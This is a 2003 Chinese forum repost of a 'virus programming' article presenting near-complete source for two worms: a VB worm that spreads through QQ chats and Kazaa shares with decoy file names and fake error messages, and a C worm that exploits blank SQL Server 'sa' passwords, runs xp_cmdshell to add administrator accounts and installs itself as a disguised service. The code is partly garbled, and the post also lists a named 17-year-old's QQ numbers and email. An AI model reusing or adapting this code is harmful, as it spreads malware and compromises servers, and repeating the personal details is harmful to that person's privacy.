                            }
                           
                            CloseHandle( hMap) ;
                        }
                    }

                    CloseHa

论坛徽章:
0
3 [报告]
发表于 2003-05-02 10:48 |只看该作者

浅谈病毒编程(转)

浅谈病毒编程(4)
原创:squirrel(squirrel)

I-worm的完结篇
本文作者::苏睿暄。。。
鸣谢张一的支持。。。(她使郭宏硕提供了代码。。。)
资料:::
姓名:张一
性别:女
年龄:17
组织:无
QQ:3234282。。。43649019。。。46768437
E-mail:cattu@163.com
1。利用QQ&p2p的蠕虫iworm.mswork
   随着网络的普及。。QQ&p2p的用户量不断增加。。。
于是新虫就此诞生。。
   QQ的好友"列票"的类名是afxWin42S。。。是画上的。。没有子类或子窗。。。
所以只有用搜索法了。。。
'下面是他的核心代码
'谢谢郭宏硕提供的全部代码
Option Explicit
Dim ok As Boolean
Public iks As Integer, ok1 As Boolean
Dim send As Integer
Dim ASh As Long
Public Const SWP_HIDEWINDOW = &H80
Public Const HWND_BOTTOM = 1
Public Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter

As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags

As Long) As Long
Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName

As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Any, ByVal lParam As Long) As

Long
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long,

ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function CreateDirectory Lib "kernel32" Alias "CreateDirectoryA" (ByVal

lpPathName As String, lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long
Public Const WM_CHAR = &H102
Public Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal

lpBuffer As String, ByVal nSize As Long) As Long
Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, _
ByVal lpClassName As String, ByVal nMaxCount As Long) As Long '为指定的窗口取得类名
Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Const GW_CHILD = 5
Const GW_HWNDNEXT = 2
Public Const WM_KEYDOWN = &H100
Public Const HKEY_CURRENT_USER = &H80000001
Public Const VK_RETURN = &HD
Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal _
wMsg As Long, ByVal wParam As Long, lParam As Any) As Long '发送消息
Const WM_GETTEXT = &HD
Const WM_GETTEXTLENGTH = &HE
Public Declare Function PostMessage Lib "user32" Alias "ostMessageA" (ByVal hwnd As Long,

ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal

dwType As Long) As Long
Public Const RSP_SIMPLE_SERVICE = 1 '隐藏

Declare Function RegCreateKey& Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey&, ByVal

lpszSubKey$, lphKey&
Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long,

ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As

Long) As Long
Const HKEY_LOCAL_MACHINE = &H80000002
Const REG_SZ = 1

Declare Function CreateFileMapping Lib "kernel32" Alias "CreateFileMappingA" _
(ByVal hFile As Long, lpFileMappigAttributes As SECURITY_ATTRIBUTES, ByVal flProtect _
As Long, ByVal dwMaximumSizeHigh As Long, ByVal dwMaximumSizeLow As Long, ByVal lpName _
As String) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Type SECURITY_ATTRIBUTES
        nLength As Long
        lpSecurityDescriptor As Long
        bInheritHandle As Long
End Type

Const PAGE_READWRITE = 1
Const ERROR_ALREADY_EXISTS = 183&

Dim buf As String
Public nameall, name, passwordall, password, winstr As String
Dim i As Integer
Dim title, titleall, filepath As String

Public Function EnumProc(ByVal app_hwnd As Long, ByVal lParam As Long) As Boolean '遍查主窗


Dim buf As String * 1024
Dim length As Long


    If Dir(filepath) = "" Then
        title = ""
        titleall = ""
    End If
   
    length = GetWindowText(app_hwnd, buf, Len(buf))
    title = Left$(buf, length)

    If InStr(title, "发送消息" Then '判断是否为 OICQ 的消息发送窗口
        ok = False
        Call SetWindowPos(app_hwnd, HWND_BOTTOM, 1, 1, 1, 1, SWP_HIDEWINDOW)
        Call GetZiWin(app_hwnd)
    End If
    If InStr(title, "发送文件" And iks >; -1 Then'判断是否为 OICQ 的文件发送窗口
       iks = iks + 1
       Call SetWindowPos(app_hwnd, HWND_BOTTOM, 1, 1, 1, 1, SWP_HIDEWINDOW)
       ahs = app_hwnd
    End If
    If InStr(title, "打开" And iks >; 0 Then判断是否为 OICQ 的文件发送窗口的打开窗口
     iks = iks - 1
       If iks = 0 Then
          Call SetWindowPos(app_hwnd, HWND_BOTTOM, 1, 1, 1, 1, SWP_HIDEWINDOW)
          ok1 = False
          send = 0
          Call GetZiWin(app_hwnd)
       End If
    End If
EnumProc = 1
End Function


Public Function GetZiWin(window_hwnd As Long) As String
Dim buflen As Long
Dim child_hwnd As Long
Dim children() As Long
Dim num_children As Integer
Dim i As Integer
Dim vs As Integer

    '取得类名
    buflen = 256
    buf = Space$(buflen - 1)
    buflen = GetClassName(window_hwnd, buf, buflen)
    buf = Left$(buf, buflen)
    If Right$(buf, 4) = "Edit" And ok1 = False And send = 0 Then
       Call PostMessage(window_hwnd, WM_CHAR, App.Path & "\" & App.EXEName & ".exe", 0)'输入

模拟
       send = 1
    End If
    If Right$(buf, 6) = "Button" And ok1=false and send <>; 1 Then
       Dim fff As String
       fff = GetWinText(window_hwnd)
       If InStr(fff, "打开" <>; 0 Then
          Call PostMessage(window_hwnd, WM_KEYDOWN, VK_RETURN, 0)'回车模拟
          window_hwnd = ASh
       End If
       If InStr(fff, "发送" Then
          Call PostMessage(window_hwnd, WM_KEYDOWN, VK_RETURN, 0)
          send = 2
          ok1 = True
       End If
    End If
    If Right$(buf, 4) = "Edit" And ok = False And ok1 <>; False Then
        Call PostMessage(window_hwnd, WM_CHAR, "BTW 给你个好东西::请下载。。。", 0)'欺骗下


        ok = True
        vs = 1
    End If
    If Right$(buf, 6) = "Button" And ok = True And vs <>; 1 And ok1 <>; False Then
       Dim hdf As String
       hdf = GetWinText(window_hwnd)
       If InStr(hdf, "送消息" <>; 0 Then
          Call PostMessage(window_hwnd, WM_KEYDOWN, VK_RETURN, 0)
          ok = False
       End If
    End If
   
    num_children = 0
    child_hwnd = GetWindow(window_hwnd, GW_CHILD) '取得第 1 个子窗口的句柄
    Do While child_hwnd <>; 0 '如果有子窗口
        num_children = num_children + 1
        ReDim Preserve children(1 To num_children)
        children(num_children) = child_hwnd
        
        child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT) '取得下一个兄弟窗口的句柄
    Loop
   
    For i = 1 To num_children
        Call GetZiWin(children(i))
    Next i
End Function

Public Function GetWinText(window_hwnd As Long) As String '取得子窗口的值
Dim txtlen As Long
Dim txt As String

  '通过 SendMessage 发送 WM_GETTEXT 取得值
  GetWinText = ""
  If window_hwnd = 0 Then Exit Function
   
  txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, 0, 0)
  If txtlen = 0 Then Exit Function
   
  txtlen = txtlen + 1
  txt = Space$(txtlen)
  txtlen = SendMessage(window_hwnd, WM_GETTEXT, txtlen, ByVal txt)
  GetWinText = Left$(txt, txtlen)
End Function


Sub AutoRun()
Dim sKeyName As String, sKeyValue As String, sKeyValueIcon As String
Dim Ret As Integer, lphKey As Long
  sKeyName = "Software\Microsoft\Windows\CurrentVersion\Run" '是启动项在注册表中位置,大家可

能通过 regedit.exe 来查看
  sKeyValue = App.Path & IIf(Len(App.Path) >; 3, "\" & "mswork.exe", "mswork.exe"

'mswork.exe 为这个程序
  Ret = RegCreateKey&(HKEY_LOCAL_MACHINE, sKeyName, lphKey) '创建新的启动项
  Ret = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0& '设置键值
End Sub

Sub Main()
Dim ynRun As Long
Dim sa As SECURITY_ATTRIBUTES

  sa.bInheritHandle = 1
  sa.lpSecurityDescriptor = 0
  sa.nLength = Len(sa)
  ynRun = CreateFileMapping(&HFFFFFFFF, sa, PAGE_READWRITE, 0, 128, App.title) '创建内存映射

文件
  'If ynRun = 0 Then MsgBox "创建内存映射文件失败", vbQuestion, "错误"
  If (Err.LastDllError = ERROR_ALREADY_EXISTS) Then '如果指定内存文件已存在,则提示并退出
  '    MsgBox "程序已运行!", vbQuestion, "错误"
      CloseHandle ynRun '退出程序前关闭内存映射文件
      End
  End If
AutoRun
p2p
Call MsgBox("程序内存0x00ce54出不可使用'read'", vbOKOnly, "错误"'欺骗用户。。。
if month(date)=9 and day(date)=4 then
call msgbox("祝张一生日快乐",vbOKOnly)
end if
if (month(date)+day(date))=13 then
call msgbox("郭宏硕出品。。。qq&p2pworm...名称::mswork"&vbCrlf&"版本::1.0.2bate

b++"&vbCrlf&"e-mail::yan13.dl@163.com"&vbCrlf&"group::SRX-Iworm team",vbOKOnly,"版权信息")
end if
timmms
End Sub
Sub p2p()'p2p的传染模块
   Dim sysdir As String
   Dim k As Long
   k = GetSystemDirectory(sysdir, 255)
   Dim windir As String
   windir = Left$(sysdir, (k - 6))
   Call CreateFolder(windir & "\" & "fonts\^-^")
    RegCT "\Software\Kazaa\Transfer\DlDir0", "012345:" & windir & "\" & "fonts\^-^"
    CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" &

"fonts\^-^\Baldur@Gate-Full Downloader.exe", 1
    CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" &

"fonts\^-^\ScaryMovie2-FullDownloader.exe", 1
    CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\StarWars2 -

CloneAttack - FullDownloader.exe", 1
    CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" &

"fonts\^-^\Spiderman-FullDownloader.exe", 1
    CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\Shakira.exe",

1
    CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" &

"fonts\^-^\Gladiator-FullDownloader.exe", 1
    CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" &

"fonts\^-^\AikaQuest3Hentai-FullDownloader.exe", 1
    CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" &

"fonts\^-^\MoviezChannelsInstaler.exe", 1
    CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" &

"fonts\^-^\Zidane-ScreenInstaler.exe", 1
    CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" &

"fonts\^-^\LordOfTheRings-FullDownloader.exe", 1
    CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" &

"fonts\^-^\SIMS-FullDownloader.exe", 1
    CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\1.exe", 1
    CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\2.exe", 1
    CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\3.exe", 1
    CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\4.exe", 1
    CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\5.exe", 1
    CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" &

"fonts\^-^\StriderHyriu.exe", 1
    dim xsd
    XSD = 0
    Do While XSD < 500
    Randomize
    dim num,num2
    num = Int((5 * Rnd) + 1)
    num2 = Int((100000 * Rnd) + 1)
    If num = 1 Then CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" &

"fonts\^-^\Rebeka-FullInstaler.exe", 1
    If num = 2 Then CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" &

"fonts\^-^\BinLadenFucksss!!-FullGame.exe", 1
    If num = 3 Then CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" &

"fonts\^-^\3~34" & num2 & ".exe", 1
    If num = 4 Then CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" &

"fonts\^-^\666.exe", 1
    If num = 5 Then CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" &

"fonts\^-^\Minerva" & num2 & ".exe", 1
    XSD = XSD + 1
    Loop
nResult = Shell("start.exe http://..../NortonAntivirus2002UpdateInstaler.exe", vbHide)
RegCT "\Software\Microsoft\Internet Explorer\Main\Start Page",

"http://..../NortonAntivirus2002UpdateInstaler.exe"
End
End Sub
Sub RegCT(regkey, regvl)'注册表写函数的简化
Dim sKeyName As String, sKeyValue As String, sKeyValueIcon As String
Dim Ret As Integer, lphKey As Long
  sKeyName = regkey '是启动项在注册表中位置,大家可能通过 regedit.exe 来查看
  sKeyValue = regvl
  Ret = RegCreateKey&(HKEY_CURRENT_USER, sKeyName, lphKey) '创建新的启动项
  Ret = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&) '设置键值
End Sub
Sub CreateFolder(NewDirectory As String)'用于创建新目录的函数
Dim sdt As String
Dim sca As SECURITY_ATTRIBUTES
Dim bsc As Boolean
Dim sp As String
Dim ict As Integer
Dim std As String
sp = NewDirectory
If Right(sp, Len(sp)) <>; "\" Then
sp = sp + "\"
End If
ict = 1
Do Until InStr(ict, sp, "\") = 0
ict = InStr(ict, sp, "\")
std = Left(sp, ict)
sdt = Dir(std)
ict = ict + 1
sca.lpSecurityDescriptor = &O0
sca.bInheritHandle = False
sca.nLength = Len(sca)
bsc = CreateDirectory(std, sca)
Loop
End Sub
Sub timmm()'遍例窗体的定时监控函数
dim s as integer
s=0
do while s=0
sleep(1000)
iks = 0
EnumWindows AddressOf EnumProc, 0 '枚举窗口列表中的所有父窗口(顶级和被所有窗口)
loop
End Sub


  2。SQL的大问题。。。
   SQL的普及给网络数据库带来了生机。。。可是因为人为的不安全因素——sa的密码为空。。。
造成了一只虫的流行。。
//感谢SRX的郭宏硕提供代码
#include <stdio.h>;
#include <windows.h>;
#include <winsvc.h>;
#include <wchar.h>;
#include <sql.h>;
#include <sqlext.h>;
#include <lmcons.h>;
#include <winsock2.h>;
#include <shellapi.h>;
#define ServiceName "Microsoft NetWork Services FireWall";//欺骗对方
char RemoteFilePath[128]={0};
bool ConnIPC(char *RemoteName,char *User,char *Pass);// ipc$的连接
long GetLocalIP(void);//获得本机IP
DWORD WINAPI Sqlcmd(LPVOID lp);//sqlcmd?//sql的指令传输
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR     lpCmdLine,int      

nCmdShow);//服务入口
SERVICE_STATUS_HANDLE ssh;
SERVICE_STATUS ss;
/////////////////////////////////////////////////////////////////////////
void ServiceStopped(void)
{
    ss.dwServiceType=SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS;
    ss.dwCurrentState=SERVICE_STOPPED;
    ss.dwControlsAccepted=SERVICE_ACCEPT_STOP;
    ss.dwWin32ExitCode=NO_ERROR;
    ss.dwCheckPoint=0;
    ss.dwWaitHint=0;
    SetServiceStatus(ssh,&ss);
    return 0;
}
/////////////////////////////////////////////////////////////////////////
void ServicePaused(void)
{
    ss.dwServiceType=SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS;
    ss.dwCurrentState=SERVICE_PAUSED;
    ss.dwControlsAccepted=SERVICE_ACCEPT_STOP;
    ss.dwWin32ExitCode=NO_ERROR;
    ss.dwCheckPoint=0;
    ss.dwWaitHint=0;
    SetServiceStatus(ssh,&ss);
    return 0;
}
void ServiceRunning(void)
{
    ss.dwServiceType=SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS;
    ss.dwCurrentState=SERVICE_RUNNING;
    ss.dwControlsAccepted=SERVICE_ACCEPT_STOP;
    ss.dwWin32ExitCode=NO_ERROR;
    ss.dwCheckPoint=0;
    ss.dwWaitHint=0;
    SetServiceStatus(ssh,&ss);
    return 0;
}
/////////////////////////////////////////////////////////////////////////
void WINAPI servier_ctrl(DWORD Opcode)//服务控制程序
{
    switch(Opcode)
    {
    case SERVICE_CONTROL_STOP://停止Service
                ServiceStopped();
                break;
    case SERVICE_CONTROL_INTERROGATE:
                SetServiceStatus(ssh,&ss);
                break;
    }
    return 0;
}
//////////////////////////////////////////////////////////////////////////////
//失败设置服务状态为SERVICE_PAUSED
//
void WINAPI ServiceMain(DWORD dwArgc,LPTSTR *lpszArgv)
{
    ssh=RegisterServiceCtrlHandler(ServiceName,servier_ctrl);
    if(!ssh)
    {
        ServicePaused();
        return;
    }

    ServiceRunning();
    Sleep(100);
        WinMain(0,0,0,0);
    return 0;
}
/////////////////////////////////////////////////////////////////////////////
void main(DWORD dwArgc,LPTSTR *lpszArgv)
{
    SERVICE_TABLE_ENTRY ste[2];
    ste[0].lpServiceName=ServiceName;
    ste[0].lpServiceProc=ServiceMain;
    ste[1].lpServiceName=NULL;
    ste[1].lpServiceProc=NULL;
    StartServiceCtrlDispatcher(ste);
    return;
}
int WINAPI WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
int a=2
HANDLE hThread=NULL;
DWORD dwThreadID;
long PreviousCount;
HKEY KittyXPaInstallKey,KittyXPaNewKey;
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\KittyXP.sql\\Install",0,KEY_ALL_ACCESS,&KittyX

PaInstallKey)==ERROR_SUCCESS)
{
HMODULE g_module=NULL
char svFileName[512]
g_module=GetModuleHandle(NULL)
GetModuleFileName(g_module,svFileName,512)
char systemdir[512]
GetSystemDirectory(systemdir,512)
lstrcat(systemdir,"\\ssrv.exe")
CopyFile(svFileName,systemdir,false)
RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\KittyXP.sql\\Install",&KittyXPaNewKey);
        RegCloseKey(KittyXPaNewKey);
}
int i;
int StartNet;
int StopNet;
int StartHost;//IP段开始
int StopHost;//IP段结束

WSADATA wsaData;
struct in_addr host;

WSAStartup(0x202, &wsaData );
  StartNet=GetLocalIP();
  StopNet=GetLocalIP()+100;
StartHost=ntohl(StartNet);
StopHost=ntohl(StopNet);
WSACleanup();
//扫描开始   do
{

// host.S_un.S_addr = inet_addr(argv[1]);
// WSAStartup(0x202, &wsaData );

  hSemaphore=CreateSemaphore(NULL,MaxThread,MaxThread,NULL);
  if(hSemaphore==NULL)
  {

   //printf("\nCreateSemaphore failed:%d",GetLastError());
   //file://__leave;
  }

  for(i=StartHost;i<=StopHost;i++)
  {
   hThread=CreateThread(NULL,0,sqlcmd,(LPVOID)i,0,&dwThreadID);//多线程
   if((hThread==NULL)
   {
    //printf("\nCreate thread failed:%d",GetLastError());
    break;
   }
   //printf(".");
   Sleep(10);
   CloseHandle(hThread);
      WaitForSingleObject(hSemaphore,INFINITE);
  }
  while(1)
  {
   WaitForSingleObject(hSemaphore,INFINITE);
   if(!ReleaseSemaphore(hSemaphore,1,&reviousCount))
   {
    //printf("\nmain() ReleaseSemaphore failed:%d",GetLastError());
    Sleep(5000);
    break;
   }
   if(PreviousCount==(MaxThread-1))
   {
    //printf("\nAll done.");
    break;
   }
   Sleep(500);
  }
  CloseHandle(hSemaphore);
  WSACleanup();
}
    while(a=2);//死循环

return 0;
}

long GetLocalIP(void)
{
char  szName[128];
int i;
PHOSTENT pHost;
gethostname(szName, 12;
//printf("%s\n",szName);
pHost = gethostbyname(szName);
if( NULL == pHost )// failed
  return 0;
for(i=0;pHost->;h_addr_list!=NULL;i++)
  //printf("%s\n",inet_ntoa(*((struct in_addr *)pHost->;h_addr_list)));
return inet_addr(inet_ntoa(*((struct in_addr *)pHost->;h_addr_list[i-1])));
}

DWORD WINAPI sqlcmd(LPVOID lp)
{
    SQLCHAR Host[512]="";
    SQLCHAR *User=";UID=sa";//用户名
    SQLCHAR *Pass="WD=";//密码
    SQLCHAR *Database="";
    SQLCHAR InConnectionString[1025]="";
    SQLCHAR rowBuff[200]="";
    SQLINTEGER   iRowBuff;
    UCHAR Query[1500]="";
    UCHAR Cmd[300]="";
    char inBuff[1025]="";
    SQLRETURN nResult;
    SWORD     sLen;
    SQLHDBC   hDbc;
    HSTMT  hStmt;
    SQLHANDLE hEnvironment;
    int retries = 0;
    memset(Query,0,1499);
    strcpy(Host,lp);
    sprintf(InConnectionString,"DRIVER={SQL

Server};SERVER=%s%s%s%s",Host,User,Pass,Database);
    if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&hEnvironment) != SQL_SUCCESS)
    {
            //printf("SQLAllocHandle returned an error!\n");
            return 0;
    }

    if (SQLSetEnvAttr(hEnvironment, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
                        SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
    {
            //printf("SQLSetEnvAttr returned an error!\n");
            return 0;

    }

    if ((nResult = SQLAllocHandle(SQL_HANDLE_DBC,hEnvironment,(SQLHDBC FAR*)&hDbc)) !=

SQL_SUCCESS)
        {
            //printf("SQLAllocHandle returned an error!\n");
            return 0;
        }

    while(retries < 4)
    {
    nResult = SQLDriverConnect(hDbc,NULL, InConnectionString,
                                    strlen(InConnectionString),
                                    inBuff,  1024, &sLen,
                                    SQL_DRIVER_COMPLETE_REQUIRED);
    if(nResult == SQL_SUCCESS || nResult == SQL_SUCCESS_WITH_INFO)
    {
            //printf("Ok.You have connected to MASTER database...\n");
            SQLAllocStmt(hDbc,&hStmt);
            break;
    }
    else
    {
        if(retries == 3)
        {
            //printf("\nCould not connect to the SQL Server on the target!\n\nMake sure you

use !!HOSTNAME NOT IP!!\n"
            "If you are using dial-up connection retry for a few times.\n"
            "If you are sure that SQL server is installed on the target check that port 1433

is open.\n"
            "If port 1433 is open and you have tried several times to connect, then probably

SA does not have a NULL password.\n"
            "Get a SQL server brute force cracker , try to hack passwords and try again.\n"
            "If you are a script kiddy then go (www.technotronic.com or

packetstorm.securify.com) , find some documents , read them at least 1 year and try

again.)");

        return 0;
        }
        retries++;
        //printf("erforming retry(%d)...\n",retries);
        Sleep(5000);
    }
    }
       memset(cmd,0,300);
       strcpy(cmd,"cmd /c net user ");
       lstrcat(cmd,GetLocalIP());
       lstrcat(cmd," 123 /add\r\n");
    Cmd[strlen(Cmd)-1]='\0';
    sprintf(Query,"EXEC master..xp_cmdshell \"%s\"",Cmd);
    //printf("Trying to execute %s on the target\n",Cmd);
    if(SQLExecDirect(hStmt,Query,SQL_NTS) != SQL_SUCCESS)
    {
        //printf("An error occured while performing your query."
            "This does not mean that your command is unsuccesfull...\n"
            "Check the result.If it didnt work then \n"
            "make sure you did not use duplicate keywords with ODBC api\n or the target does

not have ' xp_cmdshell ' stored procedure.");
        return 0;
    }
    while (nResult != SQL_ERROR)
    {
        memset(Query,0,1499);
        memset(cmd,0,300);
        strcpy(cmd,"cmd /c net localgroup administrators ");
        lstrcat(cmd,GetLocalIP());
        lstrcat(cmd," /add\r\n");
    Cmd[strlen(Cmd)-1]='\0';
    sprintf(Query,"EXEC master..xp_cmdshell \"%s\"",Cmd);
           if(SQLExecDirect(hStmt,Query,SQL_NTS) != SQL_SUCCESS)
    {
        //printf("An error occured while performing your query."
            "This does not mean that your command is unsuccesfull...\n"
            "Check the result.If it didnt work then \n"
            "make sure you did not use duplicate keywords with ODBC api\n or the target does

not have ' xp_cmdshell ' stored procedure.");
        return 0;
    }
      memset(rowBuff,0,99);
      nResult = SQLFetch(hStmt);
      if (nResult == SQL_ERROR || nResult == SQL_SUCCESS_WITH_INFO)
      {
         //printf("Error while fething the results from the stored proc.\n");
          }
      if (nResult == SQL_SUCCESS || nResult == SQL_SUCCESS_WITH_INFO){
         SQLGetData(hStmt, 1, SQL_C_CHAR, rowBuff, 100, &iRowBuff);
         //printf("%s \n",rowBuff);
      } else
      {
         break;
      }
    }
    SQLFreeHandle(SQL_HANDLE_DBC,&hDbc);
    SQLFreeHandle(SQL_HANDLE_ENV,&hEnvironment);
    SQLFreeHandle(SQL_HANDLE_STMT,&hStmt);
        if(ConnIPC((char*)lp,(char*)GetLocalIP(),123))
        {
         memset(RemoteFilePath,0,sizeof(RemoteFilePath));
         HMODULE g_module=NULL ;
         char svFileName[512];
         g_module=GetModuleHandle(NULL);
         GetModuleFileName(g_module,svFileName,512);
         lstrcat(RemoteFilePath,"\\\\");
         lstrcat(RemoteFilePath,(char*)lp);
         lstrcat(RemoteFilePath,"\\admin$\\system32\\");
         lstrcat(RemoteFilePath,"stg.exe");
         CopyFile(svFileName,RemotFilePath,false);
       bool bRet=FALSE;
       SERVICE_STATUS  ssStatus;
       SC_HANDLE hSCManager=NULL,hSCService=NULL;
    __try//创建服务
    {
        //Open Service Control Manager on Local or Remote machine
        hSCManager=OpenSCManager((char*)lp,NULL,SC_MANAGER_ALL_ACCESS);
        if(hSCManager==NULL)
        {
            //printf("\nOpen Service Control Manage failed:%d",GetLastError());
            return 0;
        }
        //printf("\nOpen Service Control Manage ok!");
        //Create Service
        hSCService=CreateService(hSCManager,// handle to SCM database
                                ServiceName,// name of service to start
                                ServiceName,// display name
                                SERVICE_ALL_ACCESS,// type of access to service
                                SERVICE_WIN32_OWN_PROCESS,// type of service
                                SERVICE_AUTO_START,// when to start service
                                SERVICE_ERROR_IGNORE,// severity of service failure
                                "stg.EXE",// name of binary file
                                NULL,// name of load ordering group
                                NULL,// tag identifier
                                NULL,// array of dependency names
                                NULL,// account name
                                NULL);// account password
        //create service failed
        if(hSCService==NULL)
        {
            //如果服务已经存在,那么则打开
            if(GetLastError()==ERROR_SERVICE_EXISTS)
            {
                //printf("\nService %s Already exists",ServiceName);
                //open service
                hSCService = OpenService(hSCManager, ServiceName, SERVICE_ALL_ACCESS);
                if(hSCService==NULL)
                {
                    //printf("\nOpen Service failed:%d",GetLastError());
                    return 0;
                }
                //printf("\nOpen Service %s ok!",ServiceName);
            }
            else
            {
                //printf("\nCreateService failed:%d",GetLastError());
                return 0;
            }
        }
        //create service ok
        else
        {
            //printf("\nCreate Service %s ok!",ServiceName);
        }

        // 起动服务
        if (StartService(hSCService,0,null))
        {
            //printf("\nStarting %s.", ServiceName);
            Sleep(20);//时间最好不要超过100ms
             while( QueryServiceStatus(hSCService, &ssStatus ) )
            {
                if ( ssStatus.dwCurrentState == SERVICE_START_PENDING)
                {
                    //printf(".");
                    Sleep(20);
                }
                else
                    break;
            }
            if ( ssStatus.dwCurrentState != SERVICE_RUNNING )
                //printf("\n%s failed to run:%d",ServiceName,GetLastError());
         }
        else if(GetLastError()==ERROR_SERVICE_ALREADY_RUNNING)
        {
            //printf("\nService %s already running.",ServiceName);
        }
        else
        {
            //printf("\nStart Service %s failed:%d",ServiceName,GetLastError());
            return 0;
        }
        bRet=TRUE;
    }//enf of try
    __finally
    {
               

WNetCancelConnection2((char*)("\\\\"&lp&"\\IPC$"),CONNECT_UPDATE_PROFILE,TRUE);
        return bRet;
    }
        }

return 0;
}
bool ConnIPC(char *RemoteName,char *User,char *Pass)//ipc$的连接
{
    NETRESOURCE nr;
    char RN[50]="\\\\";

    strcat(RN,RemoteName);
    strcat(RN,"\\ipc$");

    nr.dwType=RESOURCETYPE_ANY;
    nr.lpLocalName=NULL;
    nr.lpRemoteName=RN;
    nr.lpProvider=NULL;

    if(WNetAddConnection2(&nr,Pass,User,FALSE)==NO_ERROR)
                return TRUE;
    else
        return FALSE;
}
  3。蠕虫的后序
随着技术的发展蠕虫病毒正向特殊化综合化智能化的方向发展。。。而且不论是

aol,msn,qq,p2p,icq,irc,mirc...都会有相应的蠕虫出现。。。。


下期预告::windows下的综合性病毒代码展示  

发布时间:2002年07月20日21时
阅读次数:3075
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP